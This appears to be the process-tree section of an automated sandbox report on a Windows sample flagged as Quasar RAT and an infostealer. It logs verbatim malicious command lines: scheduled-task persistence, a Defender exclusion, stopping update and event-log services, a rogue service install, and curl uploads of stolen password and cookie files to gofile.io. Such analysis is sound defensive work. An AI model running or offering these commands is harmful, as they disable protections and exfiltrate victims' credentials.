Commandline:	"C:\Users\user\AppData\Roaming\Update.exe"
Imagebase:	0x790000
File size:	3'266'048 bytes
MD5 hash:	F91699F2FF3F446461A302EA2D69BE44
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000004.00000000.1644242574.0000000000792000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: C:\Users\user\AppData\Roaming\Update.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Roaming\Update.exe, Author: Joe Security Rule: MAL_QuasarRAT_May19_1, Description: Detects QuasarRAT malware, Source: C:\Users\user\AppData\Roaming\Update.exe, Author: Florian Roth Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: C:\Users\user\AppData\Roaming\Update.exe, Author: ditekSHen Rule: MALWARE_Win_QuasarStealer, Description: Detects Quasar infostealer, Source: C:\Users\user\AppData\Roaming\Update.exe, Author: ditekshen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:37:00
Start date:	12/05/2024
Path:	C:\Users\user\AppData\Roaming\SearchServices.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\SearchServices.exe"
Imagebase:	0x7ff7287e0000
File size:	19'292'730 bytes
MD5 hash:	E35564F0BAD6C37132DC4157519F52E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	23:37:00
Start date:	12/05/2024
Path:	C:\Users\user\AppData\Local\SecurityHealthServices.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\SecurityHealthServices.exe"
Imagebase:	0x7ff7b0870000
File size:	2'939'256 bytes
MD5 hash:	5143FE6D0C9218C03877131E7FF8F195
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 63%, ReversingLabs Detection: 63%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:37:01
Start date:	12/05/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"schtasks" /create /tn "Update" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	23:37:01
Start date:	12/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	23:37:02
Start date:	12/05/2024
Path:	C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe"
Imagebase:	0x140000
File size:	3'266'048 bytes
MD5 hash:	F91699F2FF3F446461A302EA2D69BE44
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 0000000A.00000002.3077536564.0000000002C4A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe, Author: Joe Security Rule: MAL_QuasarRAT_May19_1, Description: Detects QuasarRAT malware, Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe, Author: Florian Roth Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe, Author: ditekSHen Rule: MALWARE_Win_QuasarStealer, Description: Detects Quasar infostealer, Source: C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe, Author: ditekshen
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	23:37:03
Start date:	12/05/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"schtasks" /create /tn "Update" /sc ONLOGON /tr "C:\Users\user\AppData\Roaming\ApplicationFrameHost\RuntimeBroker.exe" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	23:37:03
Start date:	12/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	23:37:04
Start date:	12/05/2024
Path:	C:\Users\user\AppData\Roaming\SearchServices.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\SearchServices.exe"
Imagebase:	0x7ff7287e0000
File size:	19'292'730 bytes
MD5 hash:	E35564F0BAD6C37132DC4157519F52E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: 0000000E.00000003.1889623385.0000021BAF0A3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.1889623385.0000021BAF0A3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NiceRAT, Description: Yara detected NiceRAT, Source: 0000000E.00000003.1889623385.0000021BAF0A3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NiceRAT, Description: Yara detected NiceRAT, Source: 0000000E.00000002.1943922111.0000021BAF850000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CStealer, Description: Yara detected CStealer, Source: 0000000E.00000002.1943922111.0000021BAF850000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	23:37:05
Start date:	12/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	23:37:05
Start date:	12/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	23:37:05
Start date:	12/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "ver"
Imagebase:	0x7ff6f8f20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	23:37:06
Start date:	12/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	23:37:06
Start date:	12/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist"
Imagebase:	0x7ff6f8f20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	23:37:06
Start date:	12/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	23:37:07
Start date:	12/05/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist
Imagebase:	0x7ff7ba180000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	23:37:09
Start date:	12/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff6f8f20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	23:37:09
Start date:	12/05/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop UsoSvc
Imagebase:	0x7ff68e4a0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	23:37:09
Start date:	12/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	23:37:09
Start date:	12/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	23:37:09
Start date:	12/05/2024
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff647360000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	23:37:09
Start date:	12/05/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop WaaSMedicSvc
Imagebase:	0x7ff68e4a0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	23:37:10
Start date:	12/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	23:37:10
Start date:	12/05/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop wuauserv
Imagebase:	0x7ff68e4a0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	23:37:10
Start date:	12/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	23:37:10
Start date:	12/05/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop bits
Imagebase:	0x7ff68e4a0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	23:37:10
Start date:	12/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	23:37:10
Start date:	12/05/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop dosvc
Imagebase:	0x7ff68e4a0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	23:37:10
Start date:	12/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	23:37:10
Start date:	12/05/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff741fb0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	23:37:10
Start date:	12/05/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff741fb0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	23:37:10
Start date:	12/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	23:37:10
Start date:	12/05/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff741fb0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	23:37:10
Start date:	12/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	23:37:10
Start date:	12/05/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff741fb0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	23:37:10
Start date:	12/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	23:37:10
Start date:	12/05/2024
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\dialer.exe
Imagebase:	0x7ff6778a0000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	23:37:10
Start date:	12/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	23:37:10
Start date:	12/05/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe delete "KPAADCYR"
Imagebase:	0x7ff68e4a0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	23:37:10
Start date:	12/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	23:37:10
Start date:	12/05/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe create "KPAADCYR" binpath= "C:\ProgramData\xskudridktfu\vmarkghgnurz.exe" start= "auto"
Imagebase:	0x7ff68e4a0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	23:37:10
Start date:	12/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	23:37:10
Start date:	12/05/2024
Path:	C:\Windows\System32\winlogon.exe
Wow64 process (32bit):	false
Commandline:	winlogon.exe
Imagebase:	0x7ff7cd660000
File size:	906'240 bytes
MD5 hash:	F8B41A1B3E569E7E6F990567F21DCE97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	23:37:11
Start date:	12/05/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop eventlog
Imagebase:	0x7ff68e4a0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	23:37:11
Start date:	12/05/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe start "KPAADCYR"
Imagebase:	0x7ff68e4a0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	23:37:11
Start date:	12/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	23:37:11
Start date:	12/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	23:37:11
Start date:	12/05/2024
Path:	C:\ProgramData\xskudridktfu\vmarkghgnurz.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\xskudridktfu\vmarkghgnurz.exe
Imagebase:	0x7ff6535c0000
File size:	2'939'256 bytes
MD5 hash:	5143FE6D0C9218C03877131E7FF8F195
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 63%, ReversingLabs Detection: 63%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	23:37:11
Start date:	12/05/2024
Path:	C:\Windows\System32\lsass.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\lsass.exe
Imagebase:	0x7ff7a2ae0000
File size:	59'456 bytes
MD5 hash:	A1CC00332BBF370654EE3DC8CDC8C95A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	55
Start time:	23:37:11
Start date:	12/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	56
Start time:	23:37:12
Start date:	12/05/2024
Path:	C:\Windows\System32\dwm.exe
Wow64 process (32bit):	false
Commandline:	"dwm.exe"
Imagebase:	0x7ff74e710000
File size:	94'720 bytes
MD5 hash:	5C27608411832C5B39BA04E33D53536C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	58
Start time:	23:37:16
Start date:	12/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"
Imagebase:	0x7ff6f8f20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	23:37:16
Start date:	12/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	23:37:16
Start date:	12/05/2024
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile
Imagebase:	0x7ff663420000
File size:	530'944 bytes
MD5 hash:	EAC53DDAFB5CC9E780A7CC086CE7B2B1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	23:37:17
Start date:	12/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	62
Start time:	23:37:17
Start date:	12/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	63
Start time:	23:37:17
Start date:	12/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	64
Start time:	23:37:17
Start date:	12/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"
Imagebase:	0x7ff6f8f20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	23:37:17
Start date:	12/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	23:37:18
Start date:	12/05/2024
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile
